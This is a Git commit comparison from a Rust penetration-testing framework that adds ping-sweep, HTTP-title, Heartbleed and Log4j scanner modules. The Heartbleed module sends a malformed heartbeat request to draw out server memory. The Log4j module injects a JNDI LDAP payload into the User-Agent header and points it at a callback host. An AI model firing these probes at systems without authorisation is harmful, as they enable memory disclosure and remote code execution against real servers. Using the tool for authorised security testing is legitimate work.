Compare commits

..

4 Commits

Author SHA1 Message Date
S.B acefb37cfa Add interactive ping sweep and new scanner modules 2025-06-17 01:05:51 +02:00
S.B a942303323 Add new ping sweep and HTTP title scanners 2025-06-17 00:22:35 +02:00
S.B 6a4aa3a2ad Merge pull request #15 from s-b-repo/codex/improve-modules-and-optimize-code
Refine proxy selection and fix generator path
2025-06-17 00:07:54 +02:00
S.B 0b1c1a8c7a fix generator path and improve proxy selection 2025-06-17 00:06:52 +02:00
10 changed files with 269 additions and 17 deletions
+1
View File
@@ -51,6 +51,7 @@ rdp = "0.12.8"
# ssdp moudle scanner
regex = "1.11.1"
ipnet = "2.11.0"
#camera uniview exploit
quick-xml = "0.37.4"
+8 -4
View File
@@ -48,10 +48,14 @@ rework command system to automaticly detect new modules
added uniview_nvr_pwd_disclosure
added ssdp_msearch
added hearbleed info leak from server saved to a bin file
added port scanner
added find command
updated docs
created docs
added port scanner
added ping_sweep network scanner
added http_title_scanner
added log4j_scanner
added heartbleed_scanner
added find command
updated docs
created docs
added wordlist for camera paths
added acti camera module
created bat payload generator for malware
+1 -1
View File
@@ -163,7 +163,7 @@ Then:
```
rsf> help
rsf> modules
rsf> use scanners/port_scanner
rsf> use scanners/heartbleed_scanner
rsf> set target 192.168.0.1
rsf> run
```
+2 -1
View File
@@ -6,7 +6,8 @@ use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("cred_dispatch.rs");
// Keep dispatch file naming consistent with build.rs
let dest_path = Path::new(&out_dir).join("creds_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let creds_root = Path::new("src/modules/creds");
+121
View File
@@ -0,0 +1,121 @@
use anyhow::{Context, Result};
use std::io::{self, Write};
use std::net::ToSocketAddrs;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration};
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
pub async fn run_interactive(target: &str) -> Result<()> {
let port = prompt_port().unwrap_or(443);
run_with_port(target, port).await
}
pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
let raw = target.trim();
let stripped = raw.trim_start_matches('[').trim_end_matches(']');
let host = if stripped.contains(':') {
format!("[{}]", stripped)
} else {
stripped.to_string()
};
let addr = format!("{}:{}", host, port);
println!("[*] Connecting to {}...", addr);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
let mut stream = match stream_result {
Ok(Ok(s)) => s,
Ok(Err(e)) => {
println!("[-] Connection to {} failed: {}", socket_addr, e);
return Ok(());
}
Err(_) => {
println!("[-] Connection to {} timed out", socket_addr);
return Ok(());
}
};
stream.write_all(&build_client_hello()).await?;
let mut response = vec![0u8; 4096];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
match read_result {
Ok(Ok(n)) if n > 0 => {}
_ => {
println!("[-] No response to Client Hello");
return Ok(());
}
}
stream.write_all(&build_heartbeat_request(0x4000)).await?;
let mut leak = vec![0u8; 65535];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
match read_result {
Ok(Ok(n)) if n > 0 => {
println!("[+] Possible heartbleed vulnerability! Received {} bytes.", n);
}
_ => {
println!("[-] Target does not seem vulnerable (no heartbeat response).");
}
}
Ok(())
}
fn build_client_hello() -> Vec<u8> {
let version: u16 = 0x0302;
let mut random = vec![0u8; 32];
random[0..4].copy_from_slice(&0x12345678u32.to_be_bytes());
let mut hello = vec![];
hello.extend_from_slice(&version.to_be_bytes());
hello.extend_from_slice(&random);
hello.push(0);
hello.extend_from_slice(&0x0002u16.to_be_bytes());
hello.extend_from_slice(&0x0033u16.to_be_bytes());
hello.extend_from_slice(&0x0039u16.to_be_bytes());
hello.push(1);
hello.push(0);
hello.extend_from_slice(&0x0000u16.to_be_bytes());
let mut handshake = vec![0x01];
let len = (hello.len() as u32).to_be_bytes();
handshake.extend_from_slice(&len[1..]);
handshake.extend_from_slice(&hello);
build_tls_record(0x16, version, &handshake)
}
fn build_heartbeat_request(length: u16) -> Vec<u8> {
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
build_tls_record(0x18, 0x0302, &payload)
}
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
let mut record = vec![record_type];
record.extend_from_slice(&version.to_be_bytes());
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
record.extend_from_slice(payload);
record
}
fn prompt_port() -> Option<u16> {
print!("Enter port (default 443): ");
io::stdout().flush().ok();
let mut input = String::new();
if io::stdin().read_line(&mut input).is_ok() {
let input = input.trim();
if input.is_empty() {
return None;
}
if let Ok(p) = input.parse::<u16>() {
return Some(p);
}
}
None
}
@@ -0,0 +1,33 @@
use anyhow::{Result, Context};
use regex::Regex;
use reqwest::Client;
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
pub async fn run_interactive(target: &str) -> Result<()> {
let client = Client::builder()
.redirect(reqwest::redirect::Policy::limited(5))
.build()
.context("Failed to build HTTP client")?;
let title_re = Regex::new(r"(?i)<title>(.*?)</title>")?;
for scheme in ["http", "https"] {
let url = format!("{}://{}", scheme, target);
match client.get(&url).send().await {
Ok(resp) => {
let text = resp.text().await.unwrap_or_default();
if let Some(cap) = title_re.captures(&text) {
println!("[+] {} -> {}", url, cap.get(1).unwrap().as_str());
} else {
println!("[+] {} -> <no title>", url);
}
}
Err(e) => {
println!("[-] Failed {}: {}", url, e);
}
}
}
Ok(())
}
+44
View File
@@ -0,0 +1,44 @@
use anyhow::{Result, Context};
use rand::Rng;
use reqwest::Client;
use std::io::{self, Write};
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
pub async fn run_interactive(_target: &str) -> Result<()> {
print!("Enter URL or host to scan: ");
io::stdout().flush().ok();
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let host = input.trim();
let client = Client::builder()
.redirect(reqwest::redirect::Policy::limited(3))
.danger_accept_invalid_certs(true)
.build()
.context("Failed to build HTTP client")?;
let token: u32 = rand::thread_rng().gen();
let payload = format!("${{jndi:ldap://{:x}.example.com/a}}", token);
for scheme in ["http", "https"] {
let url = if host.starts_with("http") {
host.to_string()
} else {
format!("{}://{}", scheme, host)
};
match client.get(&url).header("User-Agent", &payload).send().await {
Ok(resp) => {
println!("[+] {} -> status {}", url, resp.status());
}
Err(e) => {
println!("[-] Failed {}: {}", url, e);
}
}
}
println!("[*] Payload sent. Check your callback server for any connections to confirm vulnerability.");
Ok(())
}
+4
View File
@@ -2,3 +2,7 @@ pub mod sample_scanner;
pub mod ssdp_msearch;
pub mod port_scanner;
pub mod stalkroute_full_traceroute;
pub mod http_title_scanner;
pub mod ping_sweep;
pub mod log4j_scanner;
pub mod heartbleed_scanner;
+47
View File
@@ -0,0 +1,47 @@
use anyhow::{Result, Context};
use ipnet::IpNet;
use std::net::IpAddr;
use std::sync::Arc;
use std::io::{self, Write};
use tokio::{process::Command, sync::Semaphore, time::{timeout, Duration}};
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
pub async fn run_interactive(_target: &str) -> Result<()> {
print!("Enter CIDR range to sweep: ");
io::stdout().flush().ok();
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let net: IpNet = input.trim().parse().context("Use CIDR notation like 192.168.1.0/24")?;
let hosts: Vec<IpAddr> = net.hosts().collect();
let semaphore = Arc::new(Semaphore::new(50));
let mut tasks = Vec::new();
for ip in hosts {
let sem = semaphore.clone();
let ip_str = ip.to_string();
tasks.push(tokio::spawn(async move {
let _permit = sem.acquire_owned().await.unwrap();
let cmd = if ip.is_ipv4() { "ping" } else { "ping6" };
let result = timeout(
Duration::from_secs(3),
Command::new(cmd)
.args(["-c", "1", "-W", "1", &ip_str])
.output(),
)
.await;
if let Ok(Ok(out)) = result {
if out.status.success() {
println!("[+] Host {} is up", ip_str);
}
}
}));
}
for t in tasks {
let _ = t.await;
}
Ok(())
}
+8 -11
View File
@@ -1,7 +1,7 @@
use crate::commands;
use crate::utils;
use anyhow::Result;
use rand::prelude::*; // Updated for rand 0.10
use rand::prelude::*; // rand 0.9 prelude provides rng() and SliceRandom
use std::env;
use std::io::{self, Write};
use std::collections::HashSet;
@@ -188,20 +188,17 @@ pub async fn interactive_shell() -> Result<()> {
/// Picks a random proxy from `proxy_list` that is NOT in `tried_proxies`.
fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<String>) -> String {
let untried: Vec<&String> = proxy_list.iter()
let mut rng = rand::rng();
let choices: Vec<&String> = proxy_list
.iter()
.filter(|p| !tried_proxies.contains(*p))
.collect();
if untried.is_empty() {
// Fall back if somehow there's nothing untried
let mut rng = rand::rng();
let idx = rng.random_range(0..proxy_list.len());
return proxy_list[idx].clone();
if let Some(choice) = choices.choose(&mut rng) {
choice.to_string()
} else {
proxy_list.choose(&mut rng).unwrap().to_string()
}
let mut rng = rand::rng();
let idx = rng.random_range(0..untried.len());
untried[idx].clone()
}
/// Sets ALL_PROXY so reqwest uses it for all requests (including socks4, socks5, http, https)